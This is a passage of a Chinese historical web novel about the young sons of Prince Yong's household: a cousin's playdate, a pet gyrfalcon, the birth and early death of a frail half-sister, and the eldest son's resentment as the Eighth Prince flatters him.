虽说额娘说他年幼时也是这样的,但弘暾是绝对不肯信的。自己年幼的时候一定不和弟弟一样,现在弟弟不仅不会说话,甚至还会流口水呢!反正他幼时是肯定不流口水的,额娘现在为了弟弟才骗他的,怕弟弟长大之后不好意思。 “那你日后可以来和我们一起玩呀。”弘昼见小堂哥愁眉苦脸的模样,正好也想拓展一下自己的行动范围。说是去十三叔府上找堂兄玩阿玛应该会答应吧,他看着和十三叔关系很好的样子。 “真的吗?”弘暾的眼睛一亮,“那可说好了,等后面回府了我就回去找阿玛说,让他同意我去四叔府上找你们玩。” 弘历也大方地点头同意:“你来吧,我和你一起玩小木剑。还有蹴鞠,平时就我和弟弟两个人玩,加上你还多一个。” 点心吃了之后,日头就逐渐向西了。有马蹄声由远及近地传来,不多时就到了弘昼能看见的地方。 是四爷和十三爷回来了,后头还跟着弘时和弘昌。身后的十几骑护卫拖着猎回来的猎物,这京郊的山上虽说能打猎,但没有什么大型动物,是以只打了些獐子野兔之类的小动物,像老虎野猪和熊这样的猎物是很难得见的。 可惜这些猎物四爷不让近前去看,这两个孩子还是有些太小了,若是叫他们看了若是梦魇了那可就糟糕了。 打猎回来之后,便要赶着回府了。现在已经是酉时了,城门在戌时一刻便会关闭,这里离城门也有些距离若是不快些回去,只怕便要在城外过夜了。 四爷当然是有法子能让城门为他打开的,但像这样的事情若是做了必然会被官员弹劾。而跟着兄弟和孩子一起出来踏青自然不是什么一定要动用这个权利的事情,所以他选择现在出发赶上关城门的时间。 弘昼又回到了出来时坐的这辆车,他掀开了窗帘看着和来时不一样的风景。 弘时脑袋昂得高高的,从脸色上看似乎是在自得。 今儿跟着阿玛打猎的只有自己,看来虽说阿玛平时偏心这两个,但到底还是知道自己才是这府上最可靠的。 回到府上的时候天色已经暗了下来,四爷将下午的猎物分给了后院,其中福晋和年侧福晋占大头,其余的院子最多分到一只猎物。 下了马车便已经过了用晚膳地点了,弘昼下午春游的时候吃了整整一碟子的点心,即便没用晚膳倒是也不饿。但四爷和弘时很明显饿了,骑射是一件极为消耗体力的事情,下午又打了那么多的猎物,现在腹中只觉空空的。 不过四爷并不准备带着三个孩子用膳,他今日专门猎到了一只毛色极佳的狐狸。看到那只狐狸的时候四爷便看上了那一身皮毛,费了点功夫才活捉到的,为的就是后面做衣裳的时候好剥出完整的皮毛,这是他预备着给年侧福晋的。 清凝的身子弱,一到冬日里日子就难过。一看到这样的物件,四爷就不自觉地想到了她,如今回来了自然是要亲自去送这一份礼的。 四爷走后,弘时自然更不想留下来和这两个小屁孩吃饭。便带着自己的随从离去,他院中什么好吃的没有,跟着两个小屁孩吃的话还怕吃不下呢。 被剩下的弘昼和弘历倒也不生气,虽说下午用了不少点心现在还不饿。但是嬷嬷既然劝了那就还是用点吧,若是半夜被饿醒了那可太难受了。 十三皇子府 弘暾跟在十三爷身后:“阿玛,今日弘昼和弘历说了我可以去他们府上找他们玩,我今天和他们玩得很开心,你就让我去他们府上找他吧,阿玛~” 尾音得极长,拉住了十三爷的衣摆,一副不达目的不罢休的模样。 十三爷的脑袋有点疼,他和四哥的关系好。见自己的儿子和四哥的儿子关系也好,本来是应当觉得欣慰的一件事,但这个孩子实在有些太缠人了。况且弘暾平日里的功课便算不得好,若是放开了让他去找堂兄弟玩的口子,岂非功课就更要抛之脑后了。 听阿玛说起是担忧自己功课,弘暾当即不高兴地保证:“阿玛就放心吧,我一定不落下功课。况且弘昼说了四伯已经给他们找了先生了,到时候我们还能一起讨论功课呢。” 十三爷用怀疑的目光看着弘暾,这个儿子在先生在的时候都懒得动功课,会在去找堂兄弟玩的时候想起功课吗? 似乎是看出了十三爷眼中的质疑,弘暾更不高兴了:“阿玛小瞧人,我肯定会好好学的,到时候叫先生也夸我。” “那可说好了,”十三爷慢慢悠悠道,“你先叫先生夸你一次了,我就让你去你四伯的府上玩。” 第37章 来玩 第37章 夏条绿已密,朱萼缀明鲜。今年的夏天似乎要来得更早些,还不到六月雍亲王府中便已经十分炎热。主子们纷纷开始用起了冰,而弘时却觉得自己的火气是那一小盆的冰扑灭不了的,甚至换来一大缸的冰块也是扑灭不了的。 弘时自从上回被阿玛命人打了十板子后,便一直被四爷盯得紧。两三个月后见他果然比从前要听话些后才逐渐放松了些,这些日子弘时过得是清苦极了,既不能和堂兄弟们出去喝茶闲谈,也不能与交好的朋友出去跑马射猎。只能在这府中跟着柳先生一日又一日地念书,日子实在是没意思极了。 看着阿玛终于允许自己如从前一般能随意出府了,弘时也不敢在现在就随意答应堂兄弟的邀约了。虽说他一直笃定自己是汗阿玛最看重的儿子,但到底还是有了些危机感,特别是府中极为受宠的年侧福晋怀孕后,这股危机感更甚了。 可想着好友三番两次地递帖子,弘时还是耐不住出来了一趟。 “哟,”佟佳福成老远见到弘时进来,嘴里发出一声极长的感叹,“咱们这盼天盼地的,总算是将咱们弘时小爷给盼出来了。知道的是请你出来喝茶,不知道的还以为是叫你出来作奸犯科呢,这么久都舍不得出你们雍亲王府。” “这谁说不是呢,”萨拉斜斜地倚在栏杆上,“咱们可算把咱们小阿哥盼出来了,明白的知道你已经是十二岁了,不知道的还以为你是什么小孩子呢?在家里犯什么事了,你阿玛管你管得这么严?” 弘时走上茶楼,重重地哼了一声:“都给你们递了消息,说我最近出不来,你们的帖子还是隔日就往我府上送。若是叫我阿玛逮住了,咱们都没得好果子吃。” 福成不屑地啧了一声:“快别说这种话了,被你阿玛逮住了最多也就是给你一顿板子,关我们什么事?我们约你可都是正经地方,这茶楼难道不雅致吗?” “我阿玛管你什么雅致不雅致的,”弘时坐了下来,抱怨道,“最近只要我念书稍懈怠了些,便立刻便是一顿训斥,在家中都过得这样烦闷了,出来就别提这一茬了。来,给我上君山银针,我可喝不惯你的岩茶,真不知道你怎么会喜欢喝这种玩意。” 福成翻了个白眼:“那是你没品位,我这可是上好的武夷岩茶。要知道最好的一批可是要送进宫的,若非我使了大银子,这茶能到这来?比你的君山银尖要好喝百倍。” “你这岩茶喝起来一股子铁锈味。”萨拉也应和了一声。 被两人围攻的福成愤愤不平地叫嚷了几句,直到弘时说起了这段时间在府中是怎么过的才勉强停下。 “不过就是踢了他一脚,阿玛这段日子便对我这样。”弘时说起这件事的时候还愤愤不平,他现在在府中是不敢把自己这种情绪表露出来了,但跟着朋友出来玩抱怨两句简直是理所当然的事情。 萨拉听得目瞪口呆:“你那位五弟今年是几岁了?” “不是吧,你干什么呢?你看不惯他不会偷偷在你阿玛面前给他上眼药,即便你想要揍他一顿也不能在你阿玛院子门口啊。”福成无语了,“你就不能趁着你阿玛不在的时候揍他,等你阿玛回来之后也好狡辩,非要在你阿玛院子门口干这种事,被抓住简直活该。” 弘时伸出手打了一下福成的脑袋:“你是不是我朋友?” 打完这一下才回答萨拉的问题:“今年应该是三岁还是四岁来着?反正年纪不大,但瞧着是真烦人。” 萨拉抽了抽嘴角:“若是你这弟弟只比你小两三岁,这还勉强能说是你们打架。但偏偏小这么多,这不一瞧就是你在欺负人。这才多久没见,怎么你突然变得这么蠢了。” “不错。”福成摇头晃脑说道,“即便是我瞧不惯我那几位堂兄弟,最多也就是想着套着麻袋揍一顿,你倒好直接当着家中人的面打,真真是活该。” “我那不是冲动了嘛,”弘时不耐,“前儿才被阿玛骂了,后脚他就自己撞上来了,这真要说也是他倒霉。” 萨拉啧啧两声,正摇头准备说些什么,就听见包厢的门被敲响了。 弘时此时正不耐烦,仰着脖子就开始骂:“敲什么呢,不知道爷在里头谈话吗?谁教得这样不懂……” 话音还未落,门就被打开了,外头立着一位中年男子,满脸堆笑似乎并未听出弘时语气中的其他意思:“三阿哥,八爷有请。” 和弘时已经能出去玩不同,即便没有受到惩罚,弘昼现在也是不能出府的。 但他最近多了一个小玩伴,弘暾回府后被自家阿玛许诺了让先生夸奖了一回后便能来四伯的府上找两位小堂弟玩。 于是他回去之后念书可认真了,但不知道为什么平*日里很会夸人的先生却一直没有夸奖他。直到他认真念书了两个多月,先生才夸奖了他一回。 散学后,弘暾便兴致勃勃地过来找阿玛了,要阿玛兑现承诺。 本来最开始弘暾认真念书是想要找两位小堂弟玩,但到了后面便是有些倔强的想法了。想着自己已经这么认真了,一定得到先生的夸赞。 十三爷放下了自己手上把玩的念珠,眉间带了点笑意:“当真是先生夸奖你了吗?若是撒了谎,后面叫我知道了,必然是要罚你的。” “阿玛小瞧人。”弘暾哼了一声,很是不高兴,“先生今日就是夸我了,而且夸了好长一串。” 十三爷好笑,他最开始与先生打了招呼,叫那几日不要夸奖这小子。本以为这小子最多坚持几日便罢了,却不承想竟然能坚持这么久,让十三爷隐约觉得自己有点心虚了,便在昨日与先生说了可以夸奖他了。 这才不过一日,弘暾便过来找他要奖励了。看来近日先生也是觉得他学习刻苦了,这已经两月了,便带着他去四哥府上找弘历和弘昼玩玩也没什么。 “既然先生夸奖你了,那今日便带着你去你四伯府上吧。”十三爷站起身,将手中的念珠随手放到了桌上。 弘暾的眼睛亮了,整个人都神采飞扬了起来。 从十三爷的府邸到雍亲王府距离并不算远,但弘暾还是觉得在马车上待了许久。总觉得要是眨眼之间就能到四伯府上就好了,那自己就能求求阿玛让自己经常过来了。 到了雍亲王府后,弘暾马上就要溜去找弘昼两兄弟,但马上就被十三爷逮住了。 “你要先去给你四伯请安。”十三爷拎着儿子的领子说道,“到府上要先给长辈请安,没教过你吗?” “知道了阿玛,快松开。”弘暾几乎要将自己的身子扭成了麻花,才终于被十三爷放了下来。 终于在见过四爷后,弘暾被领路的下人带到了弘昼和弘历住的院子。此时弘昼和弘历正在玩耍他们最近新得的玩具,那是四爷命下人打造的两个小木马,雕刻得如同真马儿一样,还配备了马鞍缰绳。 骑在木马上面手里拿着小木剑乒乒乓乓地一顿打斗,虽说效果比不上骑在真马上面,但情绪上已经是差不多的了。 “哇——”弘暾进院子就发出了一声惊叹,随后兴奋道,“我也要玩,我也要玩。” 木马这样的东西是最近四爷才叫匠人给弘昼和弘历打出来的,皆是因这两个孩子最近叫着要学骑射。但他们都还没有小马儿的马腿高呢,四爷又岂能让他们去做这样危险的事情,起码也要等到七八岁了才能学骑射。 所以弘暾平时在自己府上是没有见过这个东西的,他此时见到只觉得新奇极了。又看到弘昼和弘历互相用木剑打斗,恨不得马上拉下来一个人让自己上去。 “给四阿哥五阿哥请安。”带着弘暾过来的苏培盛先是行礼,随后笑吟吟道,“王爷吩咐叫两位小阿哥招待好弘暾阿哥,在一起好好玩儿。” “弘暾?”弘历有点迷茫,上回见到弘暾已经是两个月前的事情了,他对这位堂兄已经没什么印象了。 但弘昼还记得他,当即从木马上下来:“你跟着十三叔过来的吗,专程来找我们玩的?” “是啊,”弘暾重重地点了一下脑袋,“你们不知道,阿玛说了要我得到先生的夸奖之后才带着我过来找你们玩儿,我这些日子可努力念书了,今天终于得到先生的夸奖了。” 弘昼低头算了算,离上次自己见到他已经过去了两个多月的时间了吧。两个多月的时间才让先生夸奖了一回,看来这位堂哥也是个学渣呀。 弘暾倒是不知道弘昼在腹诽他什么,他兴冲冲地走上前来摸了摸弘昼的小木马:“这是马儿吗?你们刚刚在玩什么游戏,我也要玩。” “我们在玩打仗的游戏,”弘历终于想起几月前的那一次会面,对这位堂兄有了点印象,大方道,“你要一起来玩吗?” “打仗的游戏?” “就是这样,骑在马上用木剑拼杀。”弘历拿起手中的木剑在空中挥舞了一下,给弘暾做了个示范。 看见弘暾亮起的眼睛弘昼就知道这位堂哥是想要玩这个游戏了,于是大方地把自己的木马和木剑借给他,让他和四哥继续玩这个游戏。 其实最开始听四哥提起这个游戏的时候,弘昼是拒绝的,听起来好幼稚。可是真的开始玩之后,弘昼直接忘记了自己刚才的想法,玩得比弘历还要疯些。 第38章 百倍 第38章 弘暾对这个骑在木马上拼斗的游戏接受良好,接过了弘昼手中的木剑后便开始了和弘历的拼斗。将手中的木剑挥得舞舞生风,直到力气耗尽才舍得从木马上下来。 苏培盛见三位小阿哥玩得不错,带着笑意看了一会儿便回去赴命了。他带着弘暾阿哥过来,爷那里还等着他回去伺候呢,不能在外面多留。 从木马上下来后,弘暾坐在椅子上的姿势很是不羁。脑袋靠在椅子上,屁股坐到了椅子最边缘几乎要躺在了椅子上。这个姿势一般是他单独待着的时候会坐的,若是旁边有人看见他这个坐姿是会告诉他不合规矩的,但自己单独待着的时候就不会。 刚才是真觉得玩开心了,现在一时不察便将这个姿势摆了出来。直到身旁的嬷嬷轻轻咳嗽了一声,弘暾才重新意识到自己现在不在自己院子里,在四伯府中,对面是两个年纪比自己小的堂弟,不能这样坐着。 将自己的坐姿调整得极为端庄后,弘暾端起给他倒的蜜水一饮而尽,觉得自己的口渴被缓解后才开口:“你们平时在府上都是这样玩的?” 要说弘暾没有玩伴,那是完全不对的。虽说没有能和自己玩的兄弟,但弘暾也并不大缺玩伴,十三福晋找了好几个和弘暾年纪相当的孩子与他玩。 但弘暾总觉得和他们不好玩,在府中玩的时候从来没有今日这样尽兴。 “对啊。”弘昼点了点头,他刚才没有上阵也就不累,现在还能闲闲地说话,“我和四哥平日里在先生那里听完课后,便是自己找些好玩的玩会儿。这个在马上打斗的游戏是这几天才玩的,我们前几日喜欢玩蹴鞠。” “真好,”弘暾的眼睛里都要透出来羡慕了,“我怎么就没有个和我同岁的兄弟一起玩。” 弘历扬了扬头,提到这个话题颇有些骄傲:“额娘说过我和弟弟同一年出生是不一样的缘分,这可不是人人都能有的。” 弘暾扁了扁嘴:“可惜额娘给我生了个弟弟,要是直接给我生一个哥哥就好了。弟弟现在还不会说话,要是生了个哥哥就能直接陪着我玩了。可惜额娘说了只能给我生弟弟妹妹,是生不出哥哥姐姐来的。” “你额娘现在怀孕的话,生出来的孩子一定会比你小,”弘昼抚了抚额,这话听得他很是好笑“也就是在你出生之后,你额娘最多能给你生弟弟或者妹妹,是不可能生出哥哥姐姐的。毕竟哥哥姐姐是年龄比你要大的,而弟弟妹妹则是年龄比你要小的。” 听到这话,弘暾似乎更不开心了,安静了一会儿说道:“我休息好了,我们再来!” 端着蜜水的弘历一呆,他现在还是觉得有点累。 “让我来,”弘昼挽了挽袖子,“我来和你打。” 在上马之前弘昼幻想的是自己两下就把这个堂哥打赢,但实际操作之后弘昼才知道比自己大一岁多的人能比自己的力气大多少。 成功将弘昼打得气喘吁吁后,弘暾有些得意:“阿玛都夸过我有力气呢,你们比我还要小些,自然是打不赢我的。” 有一回弘暾老远看见自家阿玛便加速冲了过去,想要阿玛接住自己。而十三爷则背对着弘暾,在还没反应过来的时候就被自家的小肉包冲得当场摔了下去,险些要揍这小子一顿。最后还是十三福晋出现得及时,才免了弘暾的皮肉之苦。 但这些就没必要说了,弘暾只说了其中最精华的。那就是阿玛当时的确是夸了自己力气不错的,虽说语气不怎么好就是了。 弘暾来的时候已经是未时了,所以和弘昼他们也没玩多久便到了回府的时辰了。 十三爷坐在马车上,看着弘暾满脸的闷闷不乐,奇怪道:“你不是已经和弘昼他们玩了吗?怎么还不开心。” “阿玛,”弘暾扁着嘴,“能不能让我和弘昼他们一起念书,反正我才大他们一岁。到时候我就去四伯的府上,跟着他们的先生一起念书,念完了书就能一起玩了。” “不行,”十三爷很是冷酷道,“若是将你和他们放在一起只怕你整日里都只想着玩了,哪还能想起来念书。” “可是我好不容易让先生夸我了,才过来和他们玩了这么一小会。”弘暾不高兴。 十三爷摸了摸他的脑袋:“下回你叫先生夸奖了,阿玛接着带你去找他们玩。弘昼和弘历平日里也是要念书的,怎么能一直和你玩呢。你且乖些,待你年纪大些后,同你哥哥一般大就能自己出去找他们俩玩了。” “哥哥那么大。”弘暾掰起自己的手算自己要多久才能长到哥哥那么大,十三爷眼底含着一抹笑意。 送走了小堂哥弘暾之后,弘昼忽然就想起了那只神俊的鸟儿。或许是因为弘暾和那只鸟儿是弘昼在同一日认识的,所以看到了这个就难免想起了另外一只。 “四哥。”弘昼眼睛亮了起来,“咱们去找找那日瞧见的额日乐吧。” 既然是阿玛的鸟儿,那肯定是养在这府中的。之前一直没有想起来,现在想起来了是不是就代表自己日后能经常去找这只海东青玩,甚至和他混熟。 幻想着额日乐日后站在自己的手臂上,随着自己的一声令下飞翔天空的样子,弘昼简直想要立刻见到这只鸟儿。 “额日乐?”弘历想了好一会儿才想起这只鸟,他对额日乐的印象不深,也不像弘昼这样那般喜欢。但是反正现在也没什么事,既然弟弟提了就去看看呗。 这只鸟儿养在哪里弘昼自然是不知道的,但他不知道府中的下人却知道。让郑嬷嬷去打听了之后,弘昼才知道原来阿玛在府上养了不少的小动物,只是离自己这里较远才一直没见过罢了。 四爷虽说因为拉弓的力气在兄弟中间较小,还受过些戏谑。但他对于狩猎的热情却一直不曾减弱,府上也养了好几种会狩猎的动物,其中有只藏獒甚至号称能和猎豹斗一斗。而额日乐就养在这圈猎狗的隔壁,它每日里有专人照看着,喂以生肉来保持野性。 弘昼和弘历摸到了这个院子,老远见到额日乐弘昼的眼睛都亮了。 照顾额日乐的下人是没见过这两位小阿哥的,但一看这打扮和年纪猜也能猜出来了。于是战战兢兢地给两位小阿哥行了个礼,一边约束着额日乐,生怕这位鸟祖宗今日心情不好将这两位真小祖宗伤了。 本来弘昼还想要上手摸一摸的,但下人实在不敢叫他上手碰。他虽说养了额日乐许久,但有时候还是会摸不准这只海东青的性子,若是真摸上来了之后额日乐不高兴了直接啄掉小阿哥一块肉,额日乐到时候活不了,他这个养着额日乐的也不会有什么好果子吃。 “好吧,不摸就不摸。”不能摸到额日乐让弘昼有点不开心,但还是听话地收回了自己的手,上上下下观察着额日乐。 额日乐立在一根粗壮的枝头上,双脚极为有力地抓住树干。似乎是刚吃饱了,此刻正在餍足地梳理着自己的羽毛,从它大片雪白的羽毛就能看出它对自己形象的上心程度。 弘历拉着弘昼的手也看向了那只鸟儿,突然凑近了弘昼的耳边说道:“你喜欢这样的,阿玛说了额日乐就是他在蒙古得到的,到时候咱们跟着阿玛去蒙古了寻一只更威武的鸟儿给你,要比额日乐还好看百倍的那种。” 第39章 妹妹 第39章 自那日想起府中还有一只额日乐后,弘昼便隔三岔五跑去看见。额日乐也从一开始的无事,到后来看见弘昼也愿意鸣叫两声以作欢迎了。 和额日乐混熟之后,弘昼就更喜欢往这里跑了。连隔壁院子的藏獒都有幸见过一两回,不过他现在这样一个三头身还是不大敢往比他还要高些的藏獒面前凑的。万一不小心惹到了,只需一口他就能马上投胎了。 而照顾藏獒的下人也是松了口气,成日里见着五阿哥来找隔壁的海东青,他心中便开始害怕了。若是五阿哥对藏獒也有了兴趣可怎么是好,这样大的狗,还是为了维持野性一直喂生肉的狗可不是能跟着小孩子玩耍摇尾巴的那些小狗。 但同时心中也存了一丝遗憾,若是五阿哥日后能喜欢上狗就好了。他们这些照顾主人宠物的下人,地位是根据主人对于宠物的喜爱程度来的。从前隔壁养海东青的地位便高过他,现在瞧着五阿哥也是喜欢海东青的模样,隔壁的地位就更高了。 这些小心思弘昼自然不知道,他只是照例在下午和四哥玩耍了一会儿后便想要带着四哥去瞧瞧自己的额日乐好不好。 心中畅想了一下日后自己从阿玛手中将额日乐要过来的日子,等自己再大些就想法子让这只海东青以后都属于自己。 和额日乐玩了半个时辰,弘昼和弘历准备回到自己的院子时,见好几个侍女脚步匆匆而过,朝着四爷的院子前去。 “这是怎么了?”弘昼有点诧异,平时这些侍女小厮不论多急的事情都不能这样跑起来的,最多就是脚步加快些罢了。 弘历明显也有些好奇,摇了摇头后看向了身后跟着的郑嬷嬷和桂嬷嬷。 没一会儿郑嬷嬷就带回了两位主子好奇问题的答案,那就是西侧院的年侧福晋发动了。 这个消息让弘昼愣了愣,自己的弟弟或者妹妹要降生了吗? 西侧院 福晋还未进来的时候就听到了年侧福晋的痛呼声,这是突然而起的一声,似乎是忍痛到了极致已经忍不下来发出的声音。 “参见福晋。”年侧福晋的陪嫁田嬷嬷面色慌张,上前行礼。 福晋身上穿着一身半旧的紫色家常衣裳,袖子上还有着丁点的墨迹。在被叫过来之前,福晋正在看府中这两日的账本子,得知年侧福晋发动后便匆匆赶来了。 虽说福晋不通医术,不懂怎么给人接生,府中也没有妾室生孩子福晋就一定要过去的道理。但想到年氏在四爷跟前得宠的劲儿,又想起年氏怀孕后虽说肚子再大了一圈,但脸上却更加消瘦的模样,福晋觉得还是很有必要前来走这一遭的。 年氏能不能平安诞下孩子她其实不怎么关心,但万一年氏没有平安诞下孩子,而她这个福晋在府中却不曾过来,到时候难免会被四爷记下。这位爷的小心眼程度,福晋是一直都明白的,所以她立刻便放下手中的账本子赶过来了。 “侧福晋开了几指?”福晋看着田嬷嬷问道,“稳婆可到了,里头情形如何,要不要请太医前来?” “已经开了两指,稳婆在里头了。”田嬷嬷一一答道,“侧福晋如今还好,倒是不必请太医前来。” 福晋淡淡点了点头,这才开了两指,年氏又是头胎,看来多半是要不少时辰了。 田嬷嬷回完话,便叫了小丫鬟给福晋搬来了一把太师椅,而她则进了内室准备陪着年侧福晋一起生产。 年侧福晋脸色苍白,有鬓发被汗水打湿黏在了额头上。田嬷嬷进去看到的便是年侧福晋咬着牙忍痛的模样,生产的时候不能一直高声呼痛,怕耗光了力气生不出孩子。 “嬷嬷,嬷嬷……”年侧福晋见到田嬷嬷进来一连叫了两声,随即便是一声短促的痛呼“啊——” “侧福晋,已经开了三指了,还请忍耐片刻。” 见到自己从小侍奉的格格这副痛苦的模样,田嬷嬷简直恨不得代替她疼。 “嬷嬷,福晋来了吗?”虽然很疼,但年侧福晋还是坚持问话。 “侧福晋放心,福晋已经在外头坐着了。” 这话让年侧福晋略微放心下来,虽说进雍亲王府这么多也没有见过什么阴私。但这次到底不一样,后院中三位有孩子的侧福晋格格会不会对她下手她不敢确定,但现在福晋坐在外面了便可安保无虞了。 四爷回府后得知了消息也是第一时间就赶往了西侧院,直到夜幕降临年侧福晋也不过开了七指。而生下孩子,则是第二日早晨的事情了。 “妹妹?”弘昼在第二日起床的时候才听闻这个喜事,年侧福晋在天快亮的时候生下了一位格格。 郑嬷嬷笑吟吟地点了点头:“母女平安。” 生了妹妹该不该自己去看看呢?弘昼在心里琢磨着,要是现代的正常家庭里,添了个妹妹不是应该在生后去看,而是应该在母亲进产房的时候就候在外面。 但现在是古代,这位妹妹和自己是同父异母,弘昼拿不准自己该不该去看。抬头看了一眼郑嬷嬷的笑脸,弘昼觉得自己应该还是不需要去的,若是需要去的话嬷嬷应该已经提醒自己了。 这样想着,弘昼穿好衣裳后和四哥一起用过膳便打算去听课了。先生的课听起来还是很有趣的,弘昼甚至觉得这不像上课,像在听故事。 而西侧院的年侧福晋就没有这样的好心情了,她生下孩子后便昏睡了过去,直到现在才醒来。 “我的孩子,快将我的孩子抱过来。”年侧福晋的面色极为苍白,原本就惹人怜惜的长相在此刻更为惹人怜惜了。 田嬷嬷欲言又止,只能将小格格抱了过来。 襁褓中的孩子红红的,整体颇为瘦小,呼吸也不大明显,胸膛的起伏几近于无。这让年侧福晋忍不住伸出手去想要探一探孩子的鼻息,直到感受到那微小的呼吸才略微放松了一点。 “我的,我的儿……”眼泪从脸上一颗颗地滚落了下来,年侧福晋轻柔地抱着怀中的孩子,神色悲伤,“都怪额娘不好,都怪额娘身子不好,才叫我的儿生得这样瘦小。” 即便年侧福晋没有养过孩子,但看到这孩子这样瘦小的模样也知道是不正常的。在这个世道,即便是生下来便康健的孩子也有许多是养不活的,更何况女儿竟然生得这样弱。 “侧福晋,您还在坐月子呢,可不能哭呀。”田嬷嬷着急道,“小格格身子不好咱们慢慢养着就是了,难不成雍亲王中还会拿不出东西给小格格进补吗?不论多名贵的药材咱们都能拿出来,小格格吉人自有天相,日后身体自然能康健。但是您现在坐月子,若是身子不行了日后可怎么护着咱们小格格?” 最后一句话让年侧福晋的眼神中多了一丝坚毅,没有额娘的孩子在这府中会过得艰难许多。即便爷现在这样宠她,但爷也曾宠过李氏、武氏,若是她不在了爷或许会好好待孩子,但绝对不会有她自己在的时候尽心。 “嬷嬷说的是,我自然要好好地看顾自己,才能护着孩子。”年侧福晋抱着孩子下定了决心,不论如何,她都要女儿活得好好的。 虽说年侧福晋下定了决心是要护着女儿的,但有些事情不是她能决定的。弘昼在半月后听到了自己这个刚出生不久的小妹妹过世的消息,虽说并没有见过这个妹妹,但一条小生命在此刻离去还是让弘昼沉默了许久。 再见到年侧福晋的时候,已经是过年的团圆宴了。这位曾经看起来就颇为清瘦的女子如今几乎已经瘦成了皮包骨,即便是看不大清身形的旗装也能看出她内里消瘦不少。原本就楚楚可怜的气质更添了些心如死灰,若非年侧福晋坐在原来的位置上,弘昼险些要认不出这位庶母了。 而那位出生仅半月的小格格,随着时间的流逝逐渐再没有人提起。可能除却她自己的额娘之外,连她的阿玛也在几个月后几乎完全忘却这一条曾经还存在过的小小生命了。 这些略有些忧伤的想法很快被弘昼抛到了一边去,因为今年他已经过了四岁的生日,是要在过年的时候跟着阿玛福晋还有两位侧福晋到宫里过年去的。 前年的时候虽说也去过一次宫里,但那时候他说话都还不大利索,不管怎么失礼大家都没办法和还不能沟通的小孩子计较。但这次不同,这次他至少要在进宫前将完整的宫廷礼仪学个七七八八。 特别是那位只见过一两位的皇玛法不知道为什么又突然想起了自己四儿子家里还有两个年幼的孩子,似乎很是聪颖听话的。在四爷面前提了两句,这也让四爷对他们的礼仪学习进度更为关注了。 是以这刚刚进了腊月,弘昼和弘历在念书之余便加了一节礼仪课。这是由一位年纪很大的兆佳嬷嬷来教的,听闻这位嬷嬷是从小伺候四爷的,如今年岁已经很大了四爷给她派了些管仓库之类的不累但很体面的活计。 就是这节礼仪课,让弘昼知道了原来见皇上还有这么多的讲究。他在礼仪课学得还算认真,倒不是因为他对这方面有多感兴趣,而是因为四爷即便在腊月已经忙得连轴转,但还是会两三日就抽出点时间来看看这两个小儿子礼仪学得如何。 这也让弘时有点不大高兴,因为阿玛已经很久没有考校他的功课了。 第40章 藏獒 第40章 在这个父子之间的交流大多用对后代前途期待来表现的时代,若是四爷看重一个人便会对他的学业表达出期待的意思。包括但不限于经常考校学问,时不时进行指点,或者因为功课的进步偶尔的夸奖和因为退步的经常性责骂。 在之前经常被骂的日子里,弘时对于阿玛的考校功课是很是头疼的。甚至于在心中祈祷过阿玛能在外面更加忙些,最好是回府之后根本想不起还有他这个好大儿。 但现在阿玛不怎么考校他功课了,改成去看那两个小的礼仪学得如何了,弘时又不痛快了起来。他不愿阿玛考校他,但他更不愿阿玛把对他的关注移到弘昼和弘时身上。 在他心中最好的结果是阿玛像现在一样,偶尔考校他。至于对弘昼和弘历,最好是像府中没有这两个儿子一样,这样的结果才会让他满意。 可惜的是,阿玛不仅没有像他想象中那种对弘昼和弘历进行无视政策。还越发看重弘昼和弘历,这让弘时很是不愉,甚至都不大愿意去额娘那里请安了。毕竟额娘见到他最先问的就是阿玛最近有没有夸奖你,第二问的就是那两个蠢东西最近有没有被你阿玛训斥。 这样的问题让他有些答不出来,阿玛最近夸奖了吗?没有,但是也没有训斥,因为阿玛在外面忙完后回来就直奔着那两个小的院子,已经浑然忘了似乎还有个长子了。 这样的情绪在弘时的胸腔中燃烧着,但他又不得不对此压抑一下。因为他现在不能也不敢将这样的情绪表现出来,尤其是不能表现得让阿玛知道。 但他还是有别的解压方法的,比如趁着阿玛最近不怎么管他,他可以出去和自己的好友消遣。甚至于最近和弘晟堂哥去了好几回春香园听戏,也不曾被阿玛训斥了,这些快乐暂时让他安定了下来。 直到在和福成约在茶楼预备着一起去赌坊瞧一眼的时候,遇上了八叔。 在弘时看来,八叔实在是比自家阿玛好上许多。这位八叔待人接物很温和,随时随地脸上都带着很温和的笑意,似乎不论对谁都一直是这般令人如沐春风。 不像自家阿玛,随时随地冷着脸,除却十三叔外也不曾听闻阿玛有什么交好的兄弟。可这十三叔在皇玛法那里又实在不得脸,哪里比得上八叔身边的九叔十叔。甚至连阿玛的同母兄弟十四叔都和八叔走得更近些,由此可见八叔一定会很做人。 心中这样想着,有两回弘时不免就在考校功课的时候提了两嘴八叔。 谁知原本就喜欢冷脸的阿玛竟然变得脸色更加骇人了,还将弘时从头到尾骂了个遍。那一回让弘时明白了自家阿玛应当是与八叔不对付的,他在心中腹诽。 自家阿玛这样的冷面王爷和八叔那样的八贤王不对付似乎也不奇怪,若是自家阿玛也能是八叔这样的性子就好了。 但弘时是不敢在阿玛面前提及八叔了,毕竟阿玛发火的样子还是颇为吓人的。即便那一回没有将他拉出去打板子,但他还是记住了不要在阿玛面前提八叔这件事。 “弘时近来越发懂事了。”八爷面上带着笑意,似乎很是赞赏地看着弘时,“想来你阿玛在府中的时候也是经常称赞你的,弘旺要比你小上三四岁,若是长大后能有你的一半,我便不必为他发愁了。” 弘时挠了挠脑袋,脸上不自觉地就出现了笑容:“八叔实在谬赞了,弘旺堂弟想来也是十分聪慧的,日后肯定能有我的七八分。” 八爷的笑容一滞,随即便掩饰了过去:“八叔有时候真羡慕你阿玛,能得了你这个好儿子。想来你阿玛也是时时夸赞的,不论待人接物还是功课上,都实在不错。” 这话让弘时原本的笑脸落了下去,阿玛最近虽然没骂他,但也没夸他。 他听见八叔的夸赞还在继续,每听见一句他心中的不平就多了一分。对啊,自己已经这么好了,为什么阿玛竟然都没怎么夸赞过自己,见到自己不是斥责就是摇头。如今更是漠不关心,这世上怎么会有这样偏心眼的阿玛。 悄悄抬起头,弘时又看了一眼面容和蔼,令人如沐春风的八叔,在心中不由得发出了感叹声。倘若八叔是自己的阿玛就好了,八叔这样温和的人,想来对孩子会更温和些。 想到这,弘时又摇了摇头。还是算了,八叔如今不过是个贝勒,阿玛已经是亲王了,若是当了八叔的儿子日后岂不是只能承袭一个贝子的爵位,和郡王的爵位比起来实在是太低了。 